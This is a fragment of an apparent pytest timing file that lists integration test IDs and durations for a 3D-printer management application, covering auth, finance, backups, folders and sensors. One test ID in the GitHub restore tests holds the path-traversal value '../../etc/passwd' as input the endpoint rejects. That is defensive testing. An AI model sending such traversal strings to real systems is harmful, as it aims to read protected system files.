"integration/test_cloud_auth.py::TestCloudTokenStorage::test_store_and_get_per_user_token": 0.19147660490125418, + "integration/test_cloud_auth.py::TestCloudTokenStorage::test_two_users_independent_tokens": 0.19656866881996393, + "integration/test_cloud_auth.py::TestPerUserCloudCredentials::test_cloud_status_accessible_when_auth_disabled": 0.1952212741598487, + "integration/test_cloud_auth.py::TestPerUserCloudCredentials::test_cloud_status_requires_auth_when_enabled": 0.20089026726782322, + "integration/test_cloud_auth.py::TestPerUserCloudCredentials::test_cloud_status_returns_not_authenticated_by_default": 0.20456993486732244, + "integration/test_cloud_token_auth_migration.py::test_bambu_cloud_error_carries_status_code": 0.0009687161073088646, + "integration/test_cloud_token_auth_migration.py::test_disable_auth_does_not_clobber_existing_global_token": 0.22910495195537806, + "integration/test_cloud_token_auth_migration.py::test_disable_auth_migrates_admin_token_to_global": 0.23750751931220293, + "integration/test_cloud_token_auth_migration.py::test_disable_auth_with_no_cloud_token_is_a_noop": 0.2393517466261983, + "integration/test_cloud_token_auth_migration.py::test_preset_miss_logs_at_debug_but_faults_stay_at_warning[cloud-outage]": 0.17469910811632872, + "integration/test_cloud_token_auth_migration.py::test_preset_miss_logs_at_debug_but_faults_stay_at_warning[expected-400-miss]": 0.1887773759663105, + "integration/test_cloud_token_auth_migration.py::test_preset_miss_logs_at_debug_but_faults_stay_at_warning[expired-token]": 0.18321000039577484, + "integration/test_cloud_token_auth_migration.py::test_preset_miss_logs_at_debug_but_faults_stay_at_warning[transport-failure]": 0.18061566911637783, + "integration/test_cloud_token_auth_migration.py::test_setup_migrates_global_token_to_created_admin": 0.21985667757689953, + "integration/test_cloud_token_auth_migration.py::test_setup_migrates_to_sole_pre_existing_admin": 0.2050676168873906, + "integration/test_cloud_token_auth_migration.py::test_setup_refuses_to_guess_owner_when_multiple_admins": 0.22148865554481745, + "integration/test_cloud_token_auth_migration.py::test_setup_with_auth_disabled_leaves_global_token_untouched": 0.19849906768649817, + "integration/test_color_catalog_extras.py::test_by_material_case_insensitive_on_both_inputs": 0.210362883284688, + "integration/test_color_catalog_extras.py::test_by_material_falls_back_to_first_when_material_unknown": 0.20579454954713583, + "integration/test_color_catalog_extras.py::test_by_material_rejects_short_hex": 0.19439235888421535, + "integration/test_color_catalog_extras.py::test_by_material_returns_material_specific_name": 0.21505370363593102, + "integration/test_color_catalog_extras.py::test_by_material_returns_null_when_hex_missing": 0.19622681755572557, + "integration/test_color_catalog_extras.py::test_create_color_entry_accepts_8char_hex": 0.19799125473946333, + "integration/test_color_catalog_extras.py::test_create_color_entry_rejects_bad_effect_type": 0.1945877457037568, + "integration/test_color_catalog_extras.py::test_create_color_entry_rejects_bad_extra_colors": 0.19151559751480818, + "integration/test_color_catalog_extras.py::test_create_color_entry_with_extras": 0.19667497742921114, + "integration/test_color_catalog_extras.py::test_create_spool_with_color_extras": 0.21002409793436527, + "integration/test_color_catalog_extras.py::test_get_color_catalog_returns_extras": 0.19791425950825214, + "integration/test_color_catalog_extras.py::test_update_color_entry_clears_extras": 0.1988181248307228, + "integration/test_color_map_api.py::test_a_material_containing_the_separator_is_still_read_correctly": 0.1951056569814682, + "integration/test_color_map_api.py::test_by_material_does_not_hand_one_brands_name_to_another": 0.20057114865630865, + "integration/test_color_map_api.py::test_by_material_is_empty_when_nothing_is_ambiguous": 0.19831350818276405, + "integration/test_color_map_api.py::test_by_material_keeps_the_name_collapsing_loses": 0.19880250561982393, + "integration/test_color_map_api.py::test_by_material_keys_are_normalized": 0.1952669294551015, + "integration/test_color_map_api.py::test_by_material_respects_the_same_priority_as_the_flat_map": 0.19760584272444248, + "integration/test_color_map_api.py::test_color_map_bambu_wins_over_generic_on_same_hex": 0.1954606305807829, + "integration/test_color_map_api.py::test_color_map_default_wins_over_user_added": 0.1927315266802907, + "integration/test_color_map_api.py::test_color_map_empty_catalog": 0.19550478551536798, + "integration/test_color_map_api.py::test_color_map_returns_lowercase_hex_without_hash": 0.19795251172035933, + "integration/test_color_map_api.py::test_color_map_skips_invalid_entries": 0.19529846962541342, + "integration/test_color_map_api.py::test_rows_without_a_material_stay_out_of_the_qualified_map": 0.20061701629310846, + "integration/test_completion_guard_wiring_2829.py::TestItStillRefuses::test_an_unrelated_print": 0.18484416231513023, + "integration/test_completion_guard_wiring_2829.py::TestItStillRefuses::test_the_printers_own_calibration_run": 0.1930695502087474, + "integration/test_completion_guard_wiring_2829.py::TestTheReportedStranding::test_a_truncated_echo_is_accepted": 0.1880839178338647, + "integration/test_completion_guard_wiring_2829.py::TestTheReportedStranding::test_the_completion_for_its_own_print_is_accepted": 0.1924333181232214, + "integration/test_completion_guard_wiring_2829.py::TestUnverifiableIsNotWrong::test_a_row_with_no_archive": 0.1894009029492736, + "integration/test_completion_guard_wiring_2829.py::TestUnverifiableIsNotWrong::test_no_subtask_name_in_the_event": 0.1852243859320879, + "integration/test_cost_statistics.py::TestArchiveCostTracking::test_archive_cost_null_when_not_set": 0.203753175213933, + "integration/test_cost_statistics.py::TestArchiveCostTracking::test_archive_has_cost_field": 0.20876579824835062, + "integration/test_cost_statistics.py::TestCostCalculationScenarios::test_archive_cost_with_archive_id_and_print_name": 0.2207600213587284, + "integration/test_cost_statistics.py::TestCostCalculationScenarios::test_cost_precision": 0.20152472704648972, + "integration/test_cost_statistics.py::TestCostCalculationScenarios::test_cost_with_multiple_colors": 0.20117606408894062, + "integration/test_cost_statistics.py::TestSpoolCostPersistence::test_spool_cost_fields_persist": 0.20373934973031282, + "integration/test_cost_statistics.py::TestSpoolCostPersistence::test_spool_cost_null_by_default": 0.2078111795708537, + "integration/test_cost_statistics.py::TestSpoolCostPersistence::test_spool_update_cost_fields": 0.19993741065263748, + "integration/test_cost_statistics.py::TestStatisticsCostAggregation::test_statistics_aggregates_costs_correctly": 0.2192511036992073, + "integration/test_cost_statistics.py::TestStatisticsCostAggregation::test_statistics_handles_null_costs": 0.6332974089309573, + "integration/test_cost_statistics.py::TestStatisticsCostAggregation::test_statistics_includes_failed_print_costs": 0.21004148945212364, + "integration/test_cost_statistics.py::TestStatisticsCostAggregation::test_statistics_includes_total_cost": 0.2080939495936036, + "integration/test_cost_statistics.py::TestStatisticsCostAggregation::test_statistics_zero_cost_when_no_archives": 0.20103835687041283, + "integration/test_deleted_printer_keeps_name_2873.py::test_failure_analysis_names_a_deleted_printer": 0.21213605720549822, + "integration/test_deleted_printer_keeps_name_2873.py::test_stats_name_history_of_a_deleted_printer": 0.20572222489863634, + "integration/test_deleted_printer_keeps_name_2873.py::test_stats_names_do_not_override_a_live_printer": 0.2135128965601325, + "integration/test_deleted_printer_keeps_name_2873.py::test_stats_reports_the_last_name_the_printer_ran_under": 0.1992856813594699, + "integration/test_design_settings_plates.py::TestArchivePlatesDesignOverrides::test_empty_for_a_file_that_changes_nothing": 0.2089377213269472, + "integration/test_design_settings_plates.py::TestArchivePlatesDesignOverrides::test_returns_the_process_deviations_with_classification": 0.20385433454066515, + "integration/test_design_settings_plates.py::TestLibraryPlatesDesignOverrides::test_returns_the_process_deviations": 0.19469317328184843, + "integration/test_discovery_api.py::TestDiscoveryAPI::test_discovery_info_subnets_are_cidr": 0.19134174101054668, + "integration/test_discovery_api.py::TestDiscoveryAPI::test_get_discovered_printers_empty": 0.20358319487422705, + "integration/test_discovery_api.py::TestDiscoveryAPI::test_get_discovery_info": 0.19348961766809225, + "integration/test_discovery_api.py::TestDiscoveryAPI::test_get_discovery_status": 0.19206008780747652, + "integration/test_discovery_api.py::TestDiscoveryAPI::test_get_scan_status": 0.20696611795574427, + "integration/test_discovery_api.py::TestDiscoveryAPI::test_start_discovery": 0.2018670290708542, + "integration/test_discovery_api.py::TestDiscoveryAPI::test_start_subnet_scan": 0.20153545774519444, + "integration/test_discovery_api.py::TestDiscoveryAPI::test_stop_discovery": 0.20323239732533693, + "integration/test_discovery_api.py::TestDiscoveryAPI::test_stop_subnet_scan": 0.20361126866191626, + "integration/test_discovery_api.py::TestDiscoveryAPI::test_subnet_scan_invalid_subnet": 0.1993408240377903, + "integration/test_discovery_api.py::TestDiscoveryService::test_docker_detection_fields": 0.20928022358566523, + "integration/test_discovery_api.py::TestDiscoveryService::test_subnets_consistent_across_calls": 0.20417672861367464, + "integration/test_drying_screen_only.py::test_commandable_model_still_dries[start]": 0.20317128393799067, + "integration/test_drying_screen_only.py::test_commandable_model_still_dries[stop]": 0.20364324934780598, + "integration/test_drying_screen_only.py::test_screen_only_model_refuses_drying[start-P1P]": 0.20757894590497017, + "integration/test_drying_screen_only.py::test_screen_only_model_refuses_drying[start-P1S]": 0.21642585564404726, + "integration/test_drying_screen_only.py::test_screen_only_model_refuses_drying[stop-P1P]": 0.20910124946385622, + "integration/test_drying_screen_only.py::test_screen_only_model_refuses_drying[stop-P1S]": 0.197533356025815, + "integration/test_endpoint_auth.py::TestAuthenticationPatterns::test_multiple_endpoints_accessible_when_auth_disabled": 0.20486199297010899, + "integration/test_endpoint_auth.py::TestAuthenticationPatterns::test_require_permission_if_auth_enabled_allows_access_when_disabled": 0.19708538707345724, + "integration/test_endpoint_auth.py::TestEndpointAuthenticationEnforcement::test_external_links_list_accessible_without_auth_when_disabled": 0.19121199660003185, + "integration/test_endpoint_auth.py::TestEndpointAuthenticationEnforcement::test_filaments_list_accessible_without_auth_when_disabled": 0.19204468932002783, + "integration/test_endpoint_auth.py::TestEndpointAuthenticationEnforcement::test_maintenance_types_accessible_without_auth_when_disabled": 0.19852515682578087, + "integration/test_endpoint_auth.py::TestEndpointAuthenticationEnforcement::test_notifications_list_accessible_without_auth_when_disabled": 0.20474670641124249, + "integration/test_endpoint_auth.py::TestEndpointAuthenticationEnforcement::test_system_info_accessible_without_auth_when_disabled": 1.2851551044732332, + "integration/test_endpoint_auth.py::TestImageEndpointsPublicAccess::test_external_link_icon_returns_404_when_no_icon": 0.19921301491558552, + "integration/test_external_folders_api.py::TestCrossBoundaryMove::test_external_readonly_source_skips": 0.2266950448974967, + "integration/test_external_folders_api.py::TestCrossBoundaryMove::test_external_to_managed_relocates_bytes": 0.22018795739859343, + "integration/test_external_folders_api.py::TestCrossBoundaryMove::test_managed_to_external_collision_skips_with_reason": 0.2123752636834979, + "integration/test_external_folders_api.py::TestCrossBoundaryMove::test_managed_to_external_relocates_bytes": 0.2167191868647933, + "integration/test_external_folders_api.py::TestCrossBoundaryMove::test_managed_to_managed_remains_db_only": 0.21633245144039392, + "integration/test_external_folders_api.py::TestCrossBoundaryMove::test_skipped_reasons_field_present_even_when_empty": 0.20656938385218382, + "integration/test_external_folders_api.py::TestExternalFolderCreation::test_create_external_folder": 0.21423858869820833, + "integration/test_external_folders_api.py::TestExternalFolderCreation::test_create_external_folder_duplicate_path": 0.21986968256533146, + "integration/test_external_folders_api.py::TestExternalFolderCreation::test_create_external_folder_file_not_dir": 0.20477391686290503, + "integration/test_external_folders_api.py::TestExternalFolderCreation::test_create_external_folder_nonexistent_path": 0.20416317135095596, + "integration/test_external_folders_api.py::TestExternalFolderCreation::test_create_external_folder_outside_allowlist_blocked": 0.20246798638254404, + "integration/test_external_folders_api.py::TestExternalFolderCreation::test_external_folder_appears_in_tree": 0.2049767291173339, + "integration/test_external_folders_api.py::TestExternalFolderModifiedTime::test_recursive_activity_bubbles_deep_file_to_root": 0.23011856153607368, + "integration/test_external_folders_api.py::TestExternalFolderModifiedTime::test_rescan_refreshes_changed_file_mtime": 0.23236722592264414, + "integration/test_external_folders_api.py::TestExternalFolderModifiedTime::test_scan_captures_file_fs_mtime": 0.21333470195531845, + "integration/test_external_folders_api.py::TestExternalFolderModifiedTime::test_scan_captures_folder_fs_mtime": 0.22095661889761686, + "integration/test_external_folders_api.py::TestExternalFolderProtections::test_delete_external_file_removes_db_only": 0.23246337473392487, + "integration/test_external_folders_api.py::TestExternalFolderProtections::test_delete_external_folder_preserves_files": 0.21883882861584425, + "integration/test_external_folders_api.py::TestExternalFolderProtections::test_external_files_cannot_be_moved_out": 0.2227585967630148, + "integration/test_external_folders_api.py::TestExternalFolderProtections::test_move_to_readonly_folder_blocked": 0.2301355516538024, + "integration/test_external_folders_api.py::TestExternalFolderProtections::test_upload_to_readonly_folder_blocked": 0.21382411941885948, + "integration/test_external_folders_api.py::TestExternalFolderProtections::test_zip_to_readonly_folder_blocked": 0.2133122207596898, + "integration/test_external_folders_api.py::TestExternalFolderScan::test_scan_creates_nested_subfolders": 0.241575475782156, + "integration/test_external_folders_api.py::TestExternalFolderScan::test_scan_discovers_files": 0.245619373396039, + "integration/test_external_folders_api.py::TestExternalFolderScan::test_scan_files_marked_external": 0.23171867057681084, + "integration/test_external_folders_api.py::TestExternalFolderScan::test_scan_idempotent": 0.24054529331624508, + "integration/test_external_folders_api.py::TestExternalFolderScan::test_scan_indexes_pre_existing_markdown": 0.24290673900395632, + "integration/test_external_folders_api.py::TestExternalFolderScan::test_scan_non_external_folder_fails": 0.20339387003332376, + "integration/test_external_folders_api.py::TestExternalFolderScan::test_scan_preserves_non_scannable_file_on_disk": 0.22858504578471184, + "integration/test_external_folders_api.py::TestExternalFolderScan::test_scan_preserves_uploaded_markdown": 0.2328319065272808, + "integration/test_external_folders_api.py::TestExternalFolderScan::test_scan_removes_deleted_files": 0.24205468222498894, + "integration/test_external_folders_api.py::TestExternalFolderScan::test_scan_removes_deleted_subfolder": 0.248923116363585, + "integration/test_external_folders_api.py::TestExternalFolderScan::test_scan_shows_hidden_when_enabled": 0.22272962145507336, + "integration/test_external_folders_api.py::TestExternalFolderScan::test_scan_skips_hidden_directories": 0.23025112878531218, + "integration/test_external_folders_api.py::TestExternalFolderScan::test_scan_skips_hidden_files": 0.22654564306139946, + "integration/test_external_folders_api.py::TestExternalFolderScan::test_scan_subfolder_inherits_readonly": 0.2291190391406417, + "integration/test_external_folders_api.py::TestExternalFolderWritableUpload::test_non_external_upload_unchanged": 0.2090010503306985, + "integration/test_external_folders_api.py::TestExternalFolderWritableUpload::test_upload_filename_collision_returns_409": 0.2072318848222494, + "integration/test_external_folders_api.py::TestExternalFolderWritableUpload::test_upload_lands_on_external_mount": 0.20821513701230288, + "integration/test_external_folders_api.py::TestExternalFolderWritableUpload::test_upload_persists_correct_db_shape": 0.21696646977216005, + "integration/test_external_folders_api.py::TestExternalFolderWritableUpload::test_upload_rejects_path_traversal_filename": 0.20386354252696037, + "integration/test_external_folders_api.py::TestExternalFolderWritableUpload::test_upload_to_missing_external_path_returns_400": 0.21083427593111992, + "integration/test_external_folders_api.py::TestExternalFolderWritableUpload::test_zip_to_writable_external_folder_rejected": 0.208102123811841, + "integration/test_external_links_api.py::TestExternalLinksAPI::test_create_external_link": 0.20317614264786243, + "integration/test_external_links_api.py::TestExternalLinksAPI::test_delete_external_link": 0.20810572244226933, + "integration/test_external_links_api.py::TestExternalLinksAPI::test_get_external_link": 0.19898848328739405, + "integration/test_external_links_api.py::TestExternalLinksAPI::test_get_external_link_not_found": 0.19999883696436882, + "integration/test_external_links_api.py::TestExternalLinksAPI::test_list_external_links_empty": 0.2008513268083334, + "integration/test_external_links_api.py::TestExternalLinksAPI::test_list_external_links_with_data": 0.1959819197654724, + "integration/test_external_links_api.py::TestExternalLinksAPI::test_reorder_external_links": 0.20502823404967785, + "integration/test_external_links_api.py::TestExternalLinksAPI::test_update_external_link": 0.19938169047236443, + "integration/test_external_links_api.py::TestExternalLinksIconAPI::test_delete_icon_when_none": 0.1961679570376873, + "integration/test_external_links_api.py::TestExternalLinksIconAPI::test_get_icon_not_set": 0.20440734084695578, + "integration/test_failure_reason_vocabulary_migration.py::test_both_stale_sentences_become_one_key[PrintArchive]": 0.1859115632250905, + "integration/test_failure_reason_vocabulary_migration.py::test_both_stale_sentences_become_one_key[PrintLogEntry]": 0.1851583207026124, + "integration/test_failure_reason_vocabulary_migration.py::test_every_mapped_value_is_a_canonical_key": 0.0010948125272989273, + "integration/test_failure_reason_vocabulary_migration.py::test_labels_fold_onto_keys[PrintArchive]": 0.19947211910039186, + "integration/test_failure_reason_vocabulary_migration.py::test_labels_fold_onto_keys[PrintLogEntry]": 0.18578406423330307, + "integration/test_failure_reason_vocabulary_migration.py::test_running_twice_changes_nothing[PrintArchive]": 0.19584982097148895, + "integration/test_failure_reason_vocabulary_migration.py::test_running_twice_changes_nothing[PrintLogEntry]": 0.19062755350023508, + "integration/test_failure_reason_vocabulary_migration.py::test_the_live_split_collapses[PrintArchive]": 0.1853237822651863, + "integration/test_failure_reason_vocabulary_migration.py::test_the_live_split_collapses[PrintLogEntry]": 0.18721027858555317, + "integration/test_failure_reason_vocabulary_migration.py::test_the_map_covers_every_writer_that_ever_existed": 0.0007543843239545822, + "integration/test_failure_reason_vocabulary_migration.py::test_the_map_is_unambiguous": 0.0007893983274698257, + "integration/test_failure_reason_vocabulary_migration.py::test_unrecognised_values_are_left_alone[PrintArchive]": 0.1925980569794774, + "integration/test_failure_reason_vocabulary_migration.py::test_unrecognised_values_are_left_alone[PrintLogEntry]": 0.19458077289164066, + "integration/test_fallback_archive_photos_1820.py::TestANormalArchiveIsUnaffected::test_it_does_not_borrow_from_the_shared_location": 0.20047990884631872, + "integration/test_fallback_archive_photos_1820.py::TestANormalArchiveIsUnaffected::test_it_reads_from_its_own_directory": 0.19729957915842533, + "integration/test_fallback_archive_photos_1820.py::TestDeleting::test_a_captured_photo_is_removed_from_disk": 0.20472365338355303, + "integration/test_fallback_archive_photos_1820.py::TestDeleting::test_a_missing_file_still_clears_the_name": 0.20308637339621782, + "integration/test_fallback_archive_photos_1820.py::TestDeleting::test_a_photo_in_the_old_location_is_removed_too": 0.216526604257524, + "integration/test_fallback_archive_photos_1820.py::TestReadingACapturedPhoto::test_a_captured_finish_photo_is_served": 0.20070370845496655, + "integration/test_fallback_archive_photos_1820.py::TestReadingACapturedPhoto::test_a_name_not_on_the_archive_is_404": 0.20438857469707727, + "integration/test_fallback_archive_photos_1820.py::TestReadingACapturedPhoto::test_a_photo_in_the_old_shared_location_is_still_served": 0.20602567307651043, + "integration/test_fallback_archive_photos_1820.py::TestReadingACapturedPhoto::test_a_photo_that_is_in_neither_place_is_404": 0.20008146204054356, + "integration/test_fallback_archive_photos_1820.py::TestUploading::test_an_uploaded_photo_can_be_read_back": 0.21704190131276846, + "integration/test_filaments_api.py::TestFilamentsAPI::test_create_filament": 0.2000809321179986, + "integration/test_filaments_api.py::TestFilamentsAPI::test_delete_filament": 0.225394818931818, + "integration/test_filaments_api.py::TestFilamentsAPI::test_get_filament": 0.19714700244367123, + "integration/test_filaments_api.py::TestFilamentsAPI::test_get_filament_not_found": 0.20199578069150448, + "integration/test_filaments_api.py::TestFilamentsAPI::test_list_filaments_empty": 0.1992165008559823, + "integration/test_filaments_api.py::TestFilamentsAPI::test_list_filaments_with_data": 0.2016620049253106, + "integration/test_filaments_api.py::TestFilamentsAPI::test_update_filament": 0.2124682180583477, + "integration/test_finance_api.py::TestFinanceAPI::test_admin_and_user_balances_agree_after_charge_adjustment_and_delete": 0.3120619375258684, + "integration/test_finance_api.py::TestFinanceAPI::test_balance_get_does_not_create_wallet": 0.23486938327550888, + "integration/test_finance_api.py::TestFinanceAPI::test_cost_center_available_budget_does_not_double_count_queue_reservation": 0.23947338573634624, + "integration/test_finance_api.py::TestFinanceAPI::test_cost_center_with_active_reservation_cannot_be_deleted": 0.2516119349747896, + "integration/test_finance_api.py::TestFinanceAPI::test_cost_center_with_balanced_transactions_cannot_be_deleted": 0.22676826175302267, + "integration/test_finance_api.py::TestFinanceAPI::test_create_cost_center_assign_member_and_list_mine": 0.3112122844904661, + "integration/test_finance_api.py::TestFinanceAPI::test_create_manual_print_and_recalculates_ledger": 0.2728892844170332, + "integration/test_finance_api.py::TestFinanceAPI::test_delete_cost_center_transaction_rebuilds_remaining_ledger": 0.2842833111062646, + "integration/test_finance_api.py::TestFinanceAPI::test_delete_print_charge_stays_deleted_after_recalculate": 0.25810725055634975, + "integration/test_finance_api.py::TestFinanceAPI::test_edit_transaction_updates_ledger": 0.31214720848947763, + "integration/test_finance_api.py::TestFinanceAPI::test_private_cost_center_cannot_be_deactivated_but_can_have_zero_budget": 0.28426934499293566, + "integration/test_finance_api.py::TestFinanceAPI::test_wallet_adjustments_and_transaction_ledger_rebuild": 0.3010201836004853, + "integration/test_finance_api.py::TestFinanceAPI::test_wallet_ledger_rebuild_processes_more_than_one_batch": 0.21924743428826332, + "integration/test_finance_api.py::TestFinanceUserDefaults::test_create_user_initializes_wallet_and_private_cost_center": 0.23160347249358892, + "integration/test_finance_api.py::TestFinanceUserDefaults::test_update_user_keeps_private_cost_center_in_sync": 0.25761490780860186, + "integration/test_finance_api.py::TestPartialPrintChargesIntegration::test_aborted_print_charges_proportionally_via_recalculate_endpoint": 0.24696311261504889, + "integration/test_finance_api.py::TestPartialPrintChargesIntegration::test_partial_charges_appear_in_transaction_ledger": 0.2527615400031209, + "integration/test_finance_api.py::TestPartialPrintChargesIntegration::test_partial_charges_with_cost_center_override": 0.24642320908606052, + "integration/test_github_backup_api.py::TestGitHubBackupConfigAPI::test_create_config": 0.2084691822528839, + "integration/test_github_backup_api.py::TestGitHubBackupConfigAPI::test_create_config_with_spools_and_archives": 0.20361517556011677, + "integration/test_github_backup_api.py::TestGitHubBackupConfigAPI::test_delete_config": 0.2173996428027749, + "integration/test_github_backup_api.py::TestGitHubBackupConfigAPI::test_delete_config_not_found": 0.19713442865759134, + "integration/test_github_backup_api.py::TestGitHubBackupConfigAPI::test_get_config_after_create": 0.21341880969703197, + "integration/test_github_backup_api.py::TestGitHubBackupConfigAPI::test_get_config_no_config": 0.20368747971951962, + "integration/test_github_backup_api.py::TestGitHubBackupConfigAPI::test_update_config_enable_spools_and_archives": 0.20867899805307388, + "integration/test_github_backup_api.py::TestGitHubBackupConfigAPI::test_update_config_partial": 0.20546209625899792, + "integration/test_github_backup_api.py::TestGitHubBackupConfigAPI::test_update_config_rejects_disabling_insecure_http_for_stored_http_url": 0.2149762799963355, + "integration/test_github_backup_api.py::TestGitHubBackupLogsAPI::test_logs_no_config": 0.20992531348019838, + "integration/test_github_backup_api.py::TestGitHubBackupLogsAPI::test_logs_with_config": 0.21197433397173882, + "integration/test_github_backup_api.py::TestGitHubBackupPrivateRepoGuard::test_create_config_rejects_failed_connection": 0.19745928887277842, + "integration/test_github_backup_api.py::TestGitHubBackupPrivateRepoGuard::test_create_config_rejects_public_repo": 0.19496470224112272, + "integration/test_github_backup_api.py::TestGitHubBackupPrivateRepoGuard::test_create_config_rejects_unknown_visibility": 0.19817146193236113, + "integration/test_github_backup_api.py::TestGitHubBackupPrivateRepoGuard::test_patch_rejects_url_change_to_public_repo": 0.20506987068802118, + "integration/test_github_backup_api.py::TestGitHubBackupPrivateRepoGuard::test_patch_skips_check_for_unrelated_fields": 0.20711238030344248, + "integration/test_github_backup_api.py::TestGitHubBackupStatusAPI::test_status_no_config": 0.2060020985081792, + "integration/test_github_backup_api.py::TestGitHubBackupStatusAPI::test_status_with_config": 0.20431859232485294, + "integration/test_github_backup_api.py::TestGitHubBackupTriggerAPI::test_trigger_disabled_config": 0.20563654508441687, + "integration/test_github_backup_api.py::TestGitHubBackupTriggerAPI::test_trigger_no_config": 0.20005303993821144, + "integration/test_github_restore_api.py::TestCommitsEndpoint::test_404_when_not_configured": 0.1963573731482029, + "integration/test_github_restore_api.py::TestCommitsEndpoint::test_limit_is_bounded": 0.20530743710696697, + "integration/test_github_restore_api.py::TestCommitsEndpoint::test_provider_failure_is_reported_not_raised": 0.21068964526057243, + "integration/test_github_restore_api.py::TestCommitsEndpoint::test_returns_commits_from_the_provider": 0.21135123539716005, + "integration/test_github_restore_api.py::TestPreviewEndpoint::test_404_when_not_configured": 0.19671700708568096, + "integration/test_github_restore_api.py::TestPreviewEndpoint::test_defaults_to_head": 0.22571761161088943, + "integration/test_github_restore_api.py::TestPreviewEndpoint::test_rejects_refs_that_are_not_object_names[../../etc/passwd]": 0.21882504224777222, + "integration/test_github_restore_api.py::TestPreviewEndpoint::test_rejects_refs_that_are_not_object_names[abc]": 0.2161092646420002, + "integration/test_github_restore_api.py::TestPreviewEndpoint::test_rejects_refs_that_are_not_object_names[main]": 0.20147853903472424, + "integration/test_github_restore_api.py::TestPreviewEndpoint::test_rejects_refs_that_are_not_object_names[zzzzzzz]": 0.20866492949426174, + "integration/test_github_restore_api.py::TestPreviewEndpoint::test_reports_available_and_missing_categories": 0.2120540225878358, + "integration/test_github_restore_api.py::TestRestoreDoesNotOpenTheMetricsEndpoint::test_a_token_less_backup_leaves_the_endpoint_shut_too[token-blank]": 0.2038641506806016, + "integration/test_github_restore_api.py::TestRestoreDoesNotOpenTheMetricsEndpoint::test_a_token_less_backup_leaves_the_endpoint_shut_too[token-key-absent]": 0.20072089042514563, + "integration/test_github_restore_api.py::TestRestoreDoesNotOpenTheMetricsEndpoint::test_an_instance_with_its_own_token_still_gets_the_toggle_back": 0.21091134008020163, + "integration/test_github_restore_api.py::TestRestoreDoesNotOpenTheMetricsEndpoint::test_restoring_prometheus_enabled_leaves_the_endpoint_shut": 0.19976613111793995, + "integration/test_github_restore_api.py::TestRestoreEndpoint::test_404_when_not_configured": 0.21744006872177124, + "integration/test_github_restore_api.py::TestRestoreEndpoint::test_applies_selected_categories": 0.21135203540325165, + "integration/test_github_restore_api.py::TestRestoreEndpoint::test_defaults_overwrite_to_false": 0.20933218114078045, + "integration/test_github_restore_api.py::TestRestoreEndpoint::test_rejects_empty_category_list": 0.2099237907677889, + "integration/test_github_restore_api.py::TestRestoreEndpoint::test_rejects_malformed_ref": 0.19870881829410791, + "integration/test_github_restore_api.py::TestRestoreEndpoint::test_rejects_unknown_category": 0.7916729720309377, + "integration/test_github_restore_api.py::TestRestoreEndpoint::test_service_failure_is_reported_in_body": 0.2030569789931178, + "integration/test_github_restore_api.py::TestRestoredArchivesAreVisibleToTheirOwner::test_a_different_operator_still_cannot": 0.3249281533062458, + "integration/test_github_restore_api.py::TestRestoredArchivesAreVisibleToTheirOwner::test_the_owning_non_admin_can_open_a_restored_archive": 0.33114201948046684, + "integration/test_github_restore_api.py::TestSettingsRestoreNeedsSettingsUpdate::test_a_role_holding_both_can_restore_settings": 0.3676142580807209, + "integration/test_github_restore_api.py::TestSettingsRestoreNeedsSettingsUpdate::test_auth_disabled_is_unaffected": 0.20845863223075867, + "integration/test_github_restore_api.py::TestSettingsRestoreNeedsSettingsUpdate::test_backup_only_role_cannot_restore_settings": 0.3803616091609001, + "integration/test_github_restore_api.py::TestSettingsRestoreNeedsSettingsUpdate::test_backup_only_role_cannot_restore_the_other_categories[archives-archives:update_all]": 0.38779002241790295, + "integration/test_github_restore_api.py::TestSettingsRestoreNeedsSettingsUpdate::test_backup_only_role_cannot_restore_the_other_categories[kprofiles-kprofiles:update]": 0.3712739171460271, + "integration/test_github_restore_api.py::TestSettingsRestoreNeedsSettingsUpdate::test_backup_only_role_cannot_restore_the_other_categories[spools-inventory:update]": 0.39113571494817734, + "integration/test_github_restore_api.py::TestSettingsRestoreNeedsSettingsUpdate::test_every_missing_permission_is_named_at_once": 0.36921360716223717, + "integration/test_github_restore_api.py::TestSettingsRestoreNeedsSettingsUpdate::test_every_restorable_category_has_an_owning_permission": 0.001730453222990036, + "integration/test_github_restore_api.py::TestSettingsRestoreNeedsSettingsUpdate::test_the_gate_is_per_category_not_a_blanket_demotion": 0.37325528357177973, + "integration/test_github_restore_api.py::TestStatusExposesRestoreState::test_restore_running_is_false_when_idle": 0.21127672586590052, + "integration/test_github_restore_api.py::TestStatusExposesRestoreState::test_restore_running_is_reported": 0.1997922407463193, + "integration/test_github_restore_api.py::TestStatusExposesRestoreState::test_unconfigured_status_still_has_the_field": 0.2048845747485757, + "integration/test_groups_api.py::test_update_group_invalid_permission_rejected": 0.261918012984097, + "integration/test_groups_api.py::test_update_group_permissions_persists": 0.25893783662468195, + "integration/test_groups_api.py::test_update_group_to_empty_permissions": 0.2522887550294399, + "integration/test_groups_api.py::test_update_group_without_permissions_field_preserves_existing": 0.23730987962335348, + "integration/test_ha_sensors_api_1148.py::TestCascadeAndUniqueness::test_deleting_a_printer_takes_its_sensors": 0.24350649397820234, + "integration/test_ha_sensors_api_1148.py::TestCascadeAndUniqueness::test_patch_cannot_create_a_duplicate_binding": 0.2213388867676258, + "integration/test_ha_sensors_api_1148.py::TestCascadeAndUniqueness::test_patch_to_the_same_entity_is_not_a_clash_with_itself": 0.22062791232019663, + "integration/test_ha_sensors_api_1148.py::TestCrud::test_a_row_that_predates_the_bound_is_still_readable": 0.20991319883614779, + "integration/test_ha_sensors_api_1148.py::TestCrud::test_bind_a_door_contact": 0.2100992277264595, + "integration/test_ha_sensors_api_1148.py::TestCrud::test_delete_drops_the_cached_reading": 0.2033768193796277, + "integration/test_ha_sensors_api_1148.py::TestCrud::test_patch_accepts_a_coherent_change": 0.21078351233154535, + "integration/test_ha_sensors_api_1148.py::TestCrud::test_patch_revalidates_against_the_stored_row": 0.2024151971563697, + "integration/test_ha_sensors_api_1148.py::TestCrud::test_rejects_a_duplicate_binding": 0.20746274664998055, + "integration/test_ha_sensors_api_1148.py::TestCrud::test_rejects_a_kind_that_contradicts_the_entity": 0.19697211403399706, + "integration/test_ha_sensors_api_1148.py::TestCrud::test_rejects_a_switch": 0.20671906135976315, + "integration/test_ha_sensors_api_1148.py::TestCrud::test_rejects_an_entity_id_longer_than_the_column": 0.2004888653755188, + "integration/test_ha_sensors_api_1148.py::TestCrud::test_rejects_an_interlock_with_nothing_to_trigger_on": 0.19881474785506725, + "integration/test_ha_sensors_api_1148.py::TestCrud::test_rejects_an_unknown_printer": 0.21348219830542803, + "integration/test_ha_sensors_api_1148.py::TestEntityPicker::test_entities_is_not_parsed_as_a_sensor_id": 0.1997375376522541, + 